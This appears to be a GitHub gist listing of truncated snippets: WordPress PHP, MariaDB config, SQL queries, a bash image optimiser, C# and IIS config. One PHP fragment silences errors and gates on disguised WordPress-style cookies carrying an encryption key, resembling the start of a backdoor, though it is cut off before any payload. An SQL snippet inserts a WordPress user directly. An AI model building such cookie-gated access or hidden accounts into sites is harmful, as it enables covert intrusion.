This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// Check if form is submitted | |
if ($_SERVER["REQUEST_METHOD"] == "POST") { | |
// Check nonce | |
if (!isset($_POST['custom_nonce_field']) || !wp_verify_nonce($_POST['custom_nonce_field'], 'custom_nonce_action')) { | |
http_response_code(403); | |
echo "Nonce validation failed. Please try again."; | |
exit; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[client] | |
port=3307 | |
socket=/tmp/mariadb.sock | |
skip_ssl | |
[wampmariadb64] | |
port=3307 | |
socket=/tmp/mariadb.sock | |
skip_external_locking | |
key_buffer_size=64M |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// Database connection for the source database (WordPress) //FROM DATABASE | |
$source_db = new mysqli('mysqlhost', 'username', 'password', 'database'); | |
// Database connection for the target database //TO DATABASE | |
$target_db = new mysqli('mysqlhost', 'username', 'password', 'database'); | |
// Check connections | |
if ($source_db->connect_error || $target_db->connect_error) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
SELECT | |
r.ID AS revision_id, | |
r.post_title, | |
r.post_date, | |
u.display_name AS edited_by, | |
CONCAT('edit.php?post=', r.post_parent) AS edit_link | |
FROM | |
wp_posts AS r | |
JOIN | |
wp_users AS u ON r.post_author = u.ID |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-- Replace 'your_database_name' with the name of your WordPress database | |
-- Replace vrfpg_ with your prefix | |
USE topshippingco_2024_8_5; | |
-- Create a new user | |
INSERT INTO vrfpg_users (user_login, user_pass, user_nicename, user_email, user_registered, user_status) | |
VALUES ('myusername', MD5('mypassWord'), 'Firstname myLastName', 'myemail@gmail.com', NOW(), 0); | |
-- Get the user ID of the newly created user | |
SET @user_id = LAST_INSERT_ID(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
set -euo pipefail | |
# Check for required commands | |
for cmd in jpegoptim pngquant cwebp; do | |
if ! command -v $cmd &> /dev/null; then | |
echo "$cmd could not be found. Please install it." | |
exit 1 | |
fi |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
@error_reporting(E_ALL); | |
@ini_set('display_errors', 0); | |
function generateRandomKey($length = 16) { | |
return bin2hex(random_bytes($length / 2)); | |
} | |
if (isset($_COOKIE['wordpress_test_cookie']) && isset($_COOKIE['wordpress_loggeds']) && isset($_COOKIE['wp-settings-times'])) { | |
$keyGeneratedTime = $_COOKIE['wp-settings-times']; | |
if ((time() - $keyGeneratedTime) < 1800) { | |
$encryptionKey = $_COOKIE['wordpress_test_cookie']; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/// <summary> | |
/// | |
/// </summary> | |
/// <param name="key"></param> | |
/// <example> | |
/// keyPerDay = $"VerifyMailOTP:{email}:{DateTime.UtcNow:yyyyMMdd}" | |
/// keyPerHour = $"VerifyMailOTP:{email}:{DateTime.UtcNow:yyyyMMddHH}" | |
/// expire = TimeSpan.FromDay(1) | |
/// </example> | |
/// <returns></returns> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
string[] arr = new string[2] { "a","b" }; | |
var type = arr.GetType(); | |
var allInterfaces = type.GetInterfaces().Select(c => c.Name); | |
foreach (var iface in allInterfaces) | |
{ | |
Console.WriteLine(iface); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0" encoding="utf-8"?> | |
<configuration> | |
<location path="." inheritInChildApplications="false"> | |
<system.webServer> | |
<handlers> | |
<add name="aspNetCore" path="*" verb="*" modules="AspNetCoreModuleV2" resourceType="Unspecified" /> | |
</handlers> | |
<aspNetCore processPath="dotnet" arguments=".\RestMenu.API.dll" stdoutLogEnabled="true" stdoutLogFile="..\logs\stdout\" hostingModel="outofprocess" /> | |
</system.webServer> | |
</location> |
NewerOlder